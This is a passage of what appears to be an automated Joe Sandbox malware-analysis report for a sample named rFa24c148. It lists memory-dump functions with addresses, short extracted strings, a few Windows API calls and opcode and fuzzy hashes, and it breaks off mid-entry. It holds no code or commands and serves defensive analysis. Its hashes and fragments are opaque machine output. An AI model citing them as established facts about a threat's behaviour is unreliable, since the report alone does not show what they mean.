GetCurrentProcess.KERNEL32 ref: 36839A68
GetCurrentThreadId.KERNEL32 ref: 36839AC1

Memory Dump Source

Source File: 00000004.00000002.2996509899.0000000036830000.00000040.00000800.00020000.00000000.sdmp, Offset: 36830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36830000_rFa24c148.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 2bf0cc1141e3222786e4f755b831eecfbaeaf1f9b7c4bdb16b537328ccca9846
Instruction ID: ae3faa075ebbaf6d00c98d4b6294a40922b70ce684cfbd39c948f62d42aca5c8
Opcode Fuzzy Hash: 2bf0cc1141e3222786e4f755b831eecfbaeaf1f9b7c4bdb16b537328ccca9846
Instruction Fuzzy Hash: 895163B4D003498FDB04DFAAC948BDEBBF1EB8C310F208519E109B7290DB749985CB65

Function 36553A50 Relevance: 5.2, Strings: 4, Instructions: 227
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 36553CBB
Hbq, xrefs: 36553D21
, xrefs: 36553B4D
Hbq, xrefs: 36553CEE

Memory Dump Source

Source File: 00000004.00000002.2996281407.0000000036550000.00000040.00000800.00020000.00000000.sdmp, Offset: 36550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36550000_rFa24c148.jbxd

Similarity

API ID:
String ID: $Hbq$Hbq$Hbq
API String ID: 0-580995494
Opcode ID: 47951d904eaa6384d9055fb9de7b9e8f21898033b225ed73cd3ba355fb77567c
Instruction ID: 530de9b7bc21648c1b601c8bca60025dbed986eb9765c012b352521bfdee528c
Opcode Fuzzy Hash: 47951d904eaa6384d9055fb9de7b9e8f21898033b225ed73cd3ba355fb77567c
Instruction Fuzzy Hash: 13810434B006149BEF15AF78D81826D3AA2AFD5360F61463AF61B973D1EF348D42CB91

Function 00165F38 Relevance: 2.8, Strings: 2, Instructions: 266
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 00166023
Hbq, xrefs: 00166056

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID: Hbq$Hbq
API String ID: 0-4258043069
Opcode ID: 0e7b64d8df426995e5ea54f1d2810caed8b669526f5eeffb044aab6b03a45665
Instruction ID: 16fe42ed1004caefd0b126219276578c73b6030dffc40b141bb420e765d45241
Opcode Fuzzy Hash: 0e7b64d8df426995e5ea54f1d2810caed8b669526f5eeffb044aab6b03a45665
Instruction Fuzzy Hash: B691AB303042548FDB199F78CC94A6A7BE2BFC9300F148469E9468B3A2CF38CD52DB91

Function 367EE950 Relevance: 2.7, Strings: 2, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LR^q, xrefs: 367EE96C
LR^q, xrefs: 367EEA99

Memory Dump Source

Source File: 00000004.00000002.2996401853.00000000367E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367e0000_rFa24c148.jbxd

Similarity

API ID:
String ID: LR^q$LR^q
API String ID: 0-4089051495
Opcode ID: 4cbccb3d930f91e9dce937738d1098c1d4ce2f918b36391b8635722e218f81bf
Instruction ID: bc107516f0ec761f0e9531dd9fdb7773490bb7a72a1f6fb5855887af27b45509
Opcode Fuzzy Hash: 4cbccb3d930f91e9dce937738d1098c1d4ce2f918b36391b8635722e218f81bf
Instruction Fuzzy Hash: 8581CE34B202018FDB04DF79C854A6E7BF6BF89644B5185A9E506DF3A2DB30DC06CB96

Function 00169C30 Relevance: 2.7, Strings: 2, Instructions: 151COMMON

Download Yara Rule

Strings

4'^q, xrefs: 00169D6D
4'^q, xrefs: 00169D84

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: 11abc1451ae3e32104fd0e68ee24ac9336727c2c0d022fb9fbb582f4a36b5f91
Instruction ID: d2ddfd0cec7aa39f96bfdff2e3c7cda766ff8f0cd7b777f27835dbeaaf0fc23d
Opcode Fuzzy Hash: 11abc1451ae3e32104fd0e68ee24ac9336727c2c0d022fb9fbb582f4a36b5f91
Instruction Fuzzy Hash: 1F519F307002459FDB04DFA9CC84B6ABBEAEF89354F14846AE909CB365DB71DC51CBA1

Function 00163CC0 Relevance: 2.6, Strings: 2, Instructions: 112COMMON

Download Yara Rule

Strings

Xbq, xrefs: 00163CF6
Xbq, xrefs: 00163CCD

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID: Xbq$Xbq
API String ID: 0-1243427068
Opcode ID: 962fa09006bf80a505eec11d2248e9355c253f9c0c27807801d7e13b7868ff7e
Instruction ID: a1acddc6a358bb94142ecee811531e62c3c38a7ccce795ae6ee77a3c69f260bb
Opcode Fuzzy Hash: 962fa09006bf80a505eec11d2248e9355c253f9c0c27807801d7e13b7868ff7e
Instruction Fuzzy Hash: 0F310431B0422887DF1C4ABA8C9427EA5EAABC4311F68443EE826D3390DF74CE5197A1

Function 00168EF8 Relevance: 2.6, Strings: 2, Instructions: 110COMMON

Download Yara Rule

Strings

$^q, xrefs: 00168FD7
$^q, xrefs: 00168FB4

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: bc35dc67d0422ba4b5e12498cf2eb4bdb8a3c97c814f933ae9b1837f9f27e5e8
Instruction ID: 420a97b85147f5133b7212044bd6662e187879ac7f9667c1530dfe1ef1952c62
Opcode Fuzzy Hash: bc35dc67d0422ba4b5e12498cf2eb4bdb8a3c97c814f933ae9b1837f9f27e5e8
Instruction Fuzzy Hash: B93181303041118FCB298B3DDC9453E7BAABB85711B254AAAF446CB692DF24DC908795

Function 36554351 Relevance: 2.6, Strings: 2, Instructions: 101COMMON

Download Yara Rule

Strings

8cq, xrefs: 36554429
TJcq, xrefs: 36554462

Memory Dump Source

Source File: 00000004.00000002.2996281407.0000000036550000.00000040.00000800.00020000.00000000.sdmp, Offset: 36550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36550000_rFa24c148.jbxd

Similarity

API ID:
String ID: 8cq$TJcq
API String ID: 0-1920894394
Opcode ID: 4d56cc2a94acb03b0107e7a4d801eafba58ba588fa82a3f2430673bbb4bceaa1
Instruction ID: a52631cae71f7ff1af1ff2127be18584eadc8cd62062f66d86e5a0d9cc92f0e9
Opcode Fuzzy Hash: 4d56cc2a94acb03b0107e7a4d801eafba58ba588fa82a3f2430673bbb4bceaa1
Instruction Fuzzy Hash: 96311575B002188FCB04DFA9C480E9DBBB2AF88321F195591E505AB361DB30EC86CFA0

Function 36554385 Relevance: 2.6, Strings: 2, Instructions: 100COMMON

Download Yara Rule

Strings

8cq, xrefs: 36554429
TJcq, xrefs: 36554462

Memory Dump Source

Source File: 00000004.00000002.2996281407.0000000036550000.00000040.00000800.00020000.00000000.sdmp, Offset: 36550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36550000_rFa24c148.jbxd

Similarity

API ID:
String ID: 8cq$TJcq
API String ID: 0-1920894394
Opcode ID: 9745dae9ac4d60abbcd173231eb33346d9c566ba98b3b91296c7e27a9317fcb6
Instruction ID: 9a0eb3e527d65a6c425bc9a5a0b7aec4661f8b883be031a9f6bbfa02fae22eb8
Opcode Fuzzy Hash: 9745dae9ac4d60abbcd173231eb33346d9c566ba98b3b91296c7e27a9317fcb6
Instruction Fuzzy Hash: 0B312675B002188FCB04DFA9C480E9DBBB2AF88321F155595E505AF362CB30EC86CFA0

Function 001662F0 Relevance: 2.6, Strings: 2, Instructions: 77COMMON

Download Yara Rule

Strings

X&I3, xrefs: 001663B6
3B3, xrefs: 001662F0

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID: 3B3$X&I3
API String ID: 0-2806618917
Opcode ID: 2c5d8006e60be8a3bc02fa1d5446bfbc6d835ab10ea9df765770680ac23155d5
Instruction ID: f802cf2eb0beb759e11c01845628265fdf7320c4dc7030fd128c70daa6f7cb41
Opcode Fuzzy Hash: 2c5d8006e60be8a3bc02fa1d5446bfbc6d835ab10ea9df765770680ac23155d5
Instruction Fuzzy Hash: CB2104357055118FC7199B2ADC9452EB7A2FFC97547198079E80ADB7A8CF34DC028B90

Function 3692458D Relevance: 1.6, APIs: 1, Instructions: 115COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 369246A2

Memory Dump Source

Source File: 00000004.00000002.2996564753.0000000036920000.00000040.00000800.00020000.00000000.sdmp, Offset: 36920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36920000_rFa24c148.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: c0713bc94e11c78b990c593f7da4e7ef518e785e7b99b9e0107d450ff34d2b50
Instruction ID: 4bf9291d2f0208e6f653b8ec68d8d1ce034a8e467b89d5a1b69093dc5f565a96
Opcode Fuzzy Hash: c0713bc94e11c78b990c593f7da4e7ef518e785e7b99b9e0107d450ff34d2b50
Instruction Fuzzy Hash: E551D2B1D10309EFDB14CF9AD884ADEBBB5FF88710F60852AE819AB214D7759841CF90

Function 36924590 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 369246A2

Memory Dump Source

Source File: 00000004.00000002.2996564753.0000000036920000.00000040.00000800.00020000.00000000.sdmp, Offset: 36920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36920000_rFa24c148.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: dd5ff3767854410e85f908cf32353a108be8a1886c659d93372ebcf9426e00dc
Instruction ID: 78c0278dadf0c2b66f93738b9b5786aaa1a54bafd8c5b45847f110020dd7a01f
Opcode Fuzzy Hash: dd5ff3767854410e85f908cf32353a108be8a1886c659d93372ebcf9426e00dc
Instruction Fuzzy Hash: F941D0B1D10309DFDB14CF9AD884ADEBBB5FF88710F60812AE819AB214D7759841CF90

Function 36923384 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 36926C11

Memory Dump Source

Source File: 00000004.00000002.2996564753.0000000036920000.00000040.00000800.00020000.00000000.sdmp, Offset: 36920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36920000_rFa24c148.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 372fbc74f43d555999fa329b00ff1e3214612dd282c57ad86a3d400efd606de5
Instruction ID: af2364f57f5fc1b507c59f2c3af0962fbdb1b1174342a1c2db6c7000de178c44
Opcode Fuzzy Hash: 372fbc74f43d555999fa329b00ff1e3214612dd282c57ad86a3d400efd606de5
Instruction Fuzzy Hash: 4D4129B5900309CFDB14DF99C884A9ABBF5FF88314F248859E519A7325D774A851CFA0

Function 36839BB0 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 36839C3F

Memory Dump Source

Source File: 00000004.00000002.2996509899.0000000036830000.00000040.00000800.00020000.00000000.sdmp, Offset: 36830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36830000_rFa24c148.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 23b050cb9b51bcc432923aee405184a0d5be4ff5149e25f1c5ba2f75c0e31d6a
Instruction ID: d71084a5c20f0a9671a9b397b067eeb08442ee7bceb188276a42af1d70a4559e
Opcode Fuzzy Hash: 23b050cb9b51bcc432923aee405184a0d5be4ff5149e25f1c5ba2f75c0e31d6a
Instruction Fuzzy Hash: CC2107B59003499FDB10CFAAD984ADEFFF4EB48320F14851AE954A3351D374A941DFA1

Function 36839BB8 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 36839C3F

Memory Dump Source

Source File: 00000004.00000002.2996509899.0000000036830000.00000040.00000800.00020000.00000000.sdmp, Offset: 36830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36830000_rFa24c148.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 59db1c9b9df4239fdc81cd9f48907bc021964326e2f47f7a3a876b3efc957638
Instruction ID: 6c1aacf421f649d84a6335428ed7e228eb7ceb2d0f819b937d91d0e743cff24c
Opcode Fuzzy Hash: 59db1c9b9df4239fdc81cd9f48907bc021964326e2f47f7a3a876b3efc957638
Instruction Fuzzy Hash: B621E4B5900248AFDB10CFAAD984ADEBFF4EB48320F14841AE958A3310D374A944DFA1

Function 36928288 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 369290ED

Memory Dump Source

Source File: 00000004.00000002.2996564753.0000000036920000.00000040.00000800.00020000.00000000.sdmp, Offset: 36920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36920000_rFa24c148.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: c7804d984aef2b21a0705a4e1f95922eda82e69074b725f4da7d6724b361bbdc
Instruction ID: b03fd0c759cd6106be56c6dd0e0b748e7290d11cde5c0b4605a63ee4517d637d
Opcode Fuzzy Hash: c7804d984aef2b21a0705a4e1f95922eda82e69074b725f4da7d6724b361bbdc
Instruction Fuzzy Hash: 4E1115B59043488FDB20DF9AD445BDEBFF8EB48320F208459D559A7300D779A944CFA5

Function 36929095 Relevance: 1.5, APIs: 1, Instructions: 45comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 369290ED

Memory Dump Source

Source File: 00000004.00000002.2996564753.0000000036920000.00000040.00000800.00020000.00000000.sdmp, Offset: 36920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36920000_rFa24c148.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: c1b0107d00bf9f6c2b4ce4d437ed102915604227ad299579fe315af63c86d807
Instruction ID: 939314494029a52a37204c320b832f8dcbfbf84d7ee680353a921017503bdb84
Opcode Fuzzy Hash: c1b0107d00bf9f6c2b4ce4d437ed102915604227ad299579fe315af63c86d807
Instruction Fuzzy Hash: EF1112B59003489FCB20DF9AD845B8EFBF8EF48320F20841AD559A7240D379A984CFA5

Function 36554790 Relevance: 1.4, Strings: 1, Instructions: 110COMMON

Download Yara Rule

Strings

Hbq, xrefs: 36554825

Memory Dump Source

Source File: 00000004.00000002.2996281407.0000000036550000.00000040.00000800.00020000.00000000.sdmp, Offset: 36550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36550000_rFa24c148.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: d9b69f094c1b225f0326a99d6de84e120da238a6639a254a14eb8f7c155382e2
Instruction ID: 8d6e3beb8667d17854cd52b8e03366a8c477f1e0fb3428424adb446074eb7ee2
Opcode Fuzzy Hash: d9b69f094c1b225f0326a99d6de84e120da238a6639a254a14eb8f7c155382e2
Instruction Fuzzy Hash: A531D635B002489FC744EFB9D854A6F7BA6EFC8341F50447EA60AD7291DE349E02CBA1

Function 365548D0 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

Hbq, xrefs: 3655492E

Memory Dump Source

Source File: 00000004.00000002.2996281407.0000000036550000.00000040.00000800.00020000.00000000.sdmp, Offset: 36550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36550000_rFa24c148.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: 76fe83ec57ac04e79aaf4bb90a9fc94b7566696315bb6ac78a460f866c19c238
Instruction ID: c69bd07114c67240efa76b79c8dfe4b473dfc66c817f3cce0724ea78d614f0eb
Opcode Fuzzy Hash: 76fe83ec57ac04e79aaf4bb90a9fc94b7566696315bb6ac78a460f866c19c238
Instruction Fuzzy Hash: 2D212634B002499FD704AB69C814B5E7FB6FFC4351F60847AD606877A1CE359E02CB91

Function 00162790 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

F, xrefs: 001627BF

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID: F
API String ID: 0-2730988801
Opcode ID: f3410f7c06631d23dbc8fb84a8af129c83073223dd17905a454d799ec1bc2fe4
Instruction ID: 37e58e6916b4e12950640355c44aba196cd5d46c78435cbc1abf41e4bf7d42dd
Opcode Fuzzy Hash: f3410f7c06631d23dbc8fb84a8af129c83073223dd17905a454d799ec1bc2fe4
Instruction Fuzzy Hash: 12312774D053498FCB06DFB8D8156EEBFF4EF4A300F1451AAD444A7261EB341A95CBA2

Function 0016E8E8 Relevance: 1.3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

Strings

$S3, xrefs: 0016E92A

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID: $S3
API String ID: 0-2423583135
Opcode ID: cb73ac93fed1877fa6fdfadc349f8e42e98da4b537ccabb198ac9d23e59fc771
Instruction ID: 8af2ed931ea1ac7cb617a4ba178a42714a26c28efa6578d527076bd688f59784
Opcode Fuzzy Hash: cb73ac93fed1877fa6fdfadc349f8e42e98da4b537ccabb198ac9d23e59fc771
Instruction Fuzzy Hash: 3D112974E0020AAFDB41CFA8D841AAEBBB1FB8A300F508469D954A7360D7349A56DB91

Function 0016E018 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a65eb96ca0f49571a4f3516bb8cbfcdfa887b2be9f160aaad4ca624f643f1b5a
Instruction ID: 716c72286201396d22fc5a8ff5f2053f4817d2c6bfa17927644f0cb7e3052c69
Opcode Fuzzy Hash: a65eb96ca0f49571a4f3516bb8cbfcdfa887b2be9f160aaad4ca624f643f1b5a
Instruction Fuzzy Hash: 9812A834421653DFE2402B60EEAC12E7BA1FB5F727710AD24F10FC1865AB7546DACB62

Function 36554A68 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996281407.0000000036550000.00000040.00000800.00020000.00000000.sdmp, Offset: 36550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36550000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a77dec9e6f544a13bca09839ef7c7914bc2f3d17610dbcb00315341f99da83d
Instruction ID: 3c9c608b1bf0a0c46ad631256226edd4a0cf2c38e6816d2bf127d01420f1ae13
Opcode Fuzzy Hash: 5a77dec9e6f544a13bca09839ef7c7914bc2f3d17610dbcb00315341f99da83d
Instruction Fuzzy Hash: 3D51F676B002059FDB04AA6AD854A5FB7F9EBC4331F11853BE61AD7750D730D805CBA0

Function 001680D8 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d8b6e564826ba0fb2a929ef90ffd459e19b16fd346c1be7b3cfb8024f67f904
Instruction ID: 0bea107e73810bf4fcb8d7da97d01a124a26a1b74aa43fc6d2c92f8196fbabb1
Opcode Fuzzy Hash: 8d8b6e564826ba0fb2a929ef90ffd459e19b16fd346c1be7b3cfb8024f67f904
Instruction Fuzzy Hash: C27139347006058FCB19DF68CCA4A6E7BE6AF9A740B1942A9E806DB3B1DF70DC51CB51

Function 367ED410 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996401853.00000000367E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367e0000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 077389b1cf5f567e00d93afedeaf37abc97feb72f42c55a4d54ee67a8c577e98
Instruction ID: ef2af4bf34308e64572286d4a83a54f700fb65c5ca485405670518f8912e898c
Opcode Fuzzy Hash: 077389b1cf5f567e00d93afedeaf37abc97feb72f42c55a4d54ee67a8c577e98
Instruction Fuzzy Hash: 7171AF74E012188FEB04DFA9C890AEDBBF2EF89300F608129D409BB355DB359986DF54

Function 367E73E0 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996401853.00000000367E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367e0000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 822f2f99f216f4bb919d602b8a45eb780b9649e048b20053ba8d9df51cb85e7f
Instruction ID: 43b4378c21297723e32439ed5e8e38b1f1a44fe614b4e826f5851da22f80be85
Opcode Fuzzy Hash: 822f2f99f216f4bb919d602b8a45eb780b9649e048b20053ba8d9df51cb85e7f
Instruction Fuzzy Hash: E371BF74E00218CFEB04DFA9C894AEDBBB2EF89301F60812AD409BB354DB359946DF54

Function 367F81E8 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996419137.00000000367F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367f0000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f1ee68f27e8f1fac5f93f9b8e0482f242ea41a7a602c37692761ae7c41e64aa
Instruction ID: 6999650e96d8b587f0a50370502a5b93b1d7eaeeaa15c256141e9619110a3e88
Opcode Fuzzy Hash: 3f1ee68f27e8f1fac5f93f9b8e0482f242ea41a7a602c37692761ae7c41e64aa
Instruction Fuzzy Hash: 8C71BE74E00218CFEB04DFA5C990AAEBBB2EF89300F608129D419BB355DB35A942DF54

Function 367F21B8 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996419137.00000000367F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367f0000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c49c575e7feef329599f7ea2fd486437b3f3250ec8d0284afd59315e6c54a70
Instruction ID: 07f58cbefb87d947485af031ae317a80ce5047d053d3cbcd9d81f65ef90971b1
Opcode Fuzzy Hash: 2c49c575e7feef329599f7ea2fd486437b3f3250ec8d0284afd59315e6c54a70
Instruction Fuzzy Hash: 5771CF74E10218CFEB04DFA5C990AADBBB2FF89300F608129D419BB354DB359942DF54

Function 0016F71F Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee173f664586fd116a46719eefb7998bf28c606e1a991be889b47f7e4d4d74da
Instruction ID: a2dcfc37d73b0a72d1b7593b1578173ecbe9cef5504e599aa200f0d8665f5aca
Opcode Fuzzy Hash: ee173f664586fd116a46719eefb7998bf28c606e1a991be889b47f7e4d4d74da
Instruction Fuzzy Hash: A0611274D01218DFDB14CFA9D844BAEBBB2FF88305F208529E809AB354DB355A86CF41

Function 001641A0 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7179a22885ad52c388d4d27ebaa6cd2c173fd38737effae354253550b1b56889
Instruction ID: bd347a7ebfd1828582ca6667e6a5bfd414f5f0ce6932936f81dad43dcf668615
Opcode Fuzzy Hash: 7179a22885ad52c388d4d27ebaa6cd2c173fd38737effae354253550b1b56889
Instruction Fuzzy Hash: DD519674E01208CFDB08DFA9D89499DBBF2FF89310B209069E809BB325DB359942CF54

Function 0016A303 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3235eed26bdcaf5ba33dac49e210fecf9bab0fa967ed032e768f303250e47db5
Instruction ID: a8b3e84c6fca4bc9656c548b9d3d546e408befbd7ddd816b4804eeae6bdb35ef
Opcode Fuzzy Hash: 3235eed26bdcaf5ba33dac49e210fecf9bab0fa967ed032e768f303250e47db5
Instruction Fuzzy Hash: 3651BF31A04259DFCF15CFA8CC44AAEBFB2BF49310F448155E945AB261D770E924CF62

Function 3655C708 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996281407.0000000036550000.00000040.00000800.00020000.00000000.sdmp, Offset: 36550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36550000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d534ae546ce0847466d380f56270acf79e686de47819ebd53f9db5f2e749a483
Instruction ID: 4a715f51fa0ff886c3492c7472eb6d0df2639e87200775cb61be8490bcbf7c2e
Opcode Fuzzy Hash: d534ae546ce0847466d380f56270acf79e686de47819ebd53f9db5f2e749a483
Instruction Fuzzy Hash: D851F1B4D01218DBDB04CFAAD8886DDBBB2BF89314F10C52AE415BB294DB749949CF54

Function 3655C8A3 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996281407.0000000036550000.00000040.00000800.00020000.00000000.sdmp, Offset: 36550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36550000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8a982dd462c60cc9bb3b5c7fe78ee02c978c689e76c49e7acd21843827c2a94
Instruction ID: 935b5c7cedea0f849b9477b21adeb40bc11433fe1eab238d893094a78c5cae65
Opcode Fuzzy Hash: e8a982dd462c60cc9bb3b5c7fe78ee02c978c689e76c49e7acd21843827c2a94
Instruction Fuzzy Hash: 2551E374D01318CFEB10CFA9D4886DCBBB1BF4A314F21952AE516BB290D734988ACF51

Function 367EFB3F Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996401853.00000000367E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367e0000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2413989ac106e5f6d5f5b5e10d91c50638e2bb65f52f055e473fa159b10e1818
Instruction ID: e73425634849c995a9241726634a1e473267f743ebe24112a48a279c045ba0fb
Opcode Fuzzy Hash: 2413989ac106e5f6d5f5b5e10d91c50638e2bb65f52f055e473fa159b10e1818
Instruction Fuzzy Hash: DF41C074E05219DFDB04CFA5C5947EEBBF2EB49300F60812AD415AB394DB345A4ACF54

Function 367EFB48 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996401853.00000000367E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367E0000, based on PE: false

Joe Sandbox IDA Plugin

